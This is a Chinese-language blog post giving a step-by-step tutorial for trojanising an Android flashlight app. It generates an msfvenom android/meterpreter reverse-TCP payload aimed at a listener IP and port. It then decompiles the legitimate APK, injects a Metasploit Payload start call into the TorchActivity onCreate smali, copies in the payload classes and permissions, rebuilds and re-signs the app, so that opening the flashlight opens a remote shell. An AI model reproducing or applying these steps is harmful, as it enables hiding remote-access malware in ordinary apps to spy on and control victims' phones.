目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录
目录
297 字
1 分钟
简单的一次手机APK注入
一、MSF
1msfvenom -p android/meterpreter_reverse_tcp LHOST=10.1.239.156 LPORT=5555 > exp.apk2
3msfconsole
二、注入木马
1、安装超级瑞士刀
1https://www.wandoujia.com/apps/1079072、反编译
1apktool d cjrsd.apk
3、找到配置文件
1AndroidManifest.xml
4、找到主文件
1这里其实是手电筒功能的启动程序2
3android:launchMode="singleTask" android:name="com.utooo.ssknife.torch.TorchActivity"4找到TorchActivity.smali文件
5、找到onCreate函数
1.method protected onCreate(Landroid/os/Bundle;)V
6、找到启动接口invoke-super
1invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
木马的接口可以任意选择,这里选择的是在onStartCommand中,这里是手电筒的启动程序
1invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
7、将木马的接口写入下一行,格式化写入

8、将木马apk的metasploit文件夹复制到正常apk的com目录下

9、更改权限
1将AndroidManifest.xml中的permssion配置项替换为木马apk的权限配置项
10、重新编译即可
1apktool b cjrsd.apk
11、签名
1此时还不能安装,用MT文件管理器添加签名即可使用,打开手电筒功能上线,不过使用的不是原有签名,就像很多盗版软件安装时会出现签名不一致无法覆盖安装
12、上线
1由于功能是手电筒的启动程序,打开手电筒成功上线。

1接下来就应该熟悉了 :)部分信息可能已经过时
目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录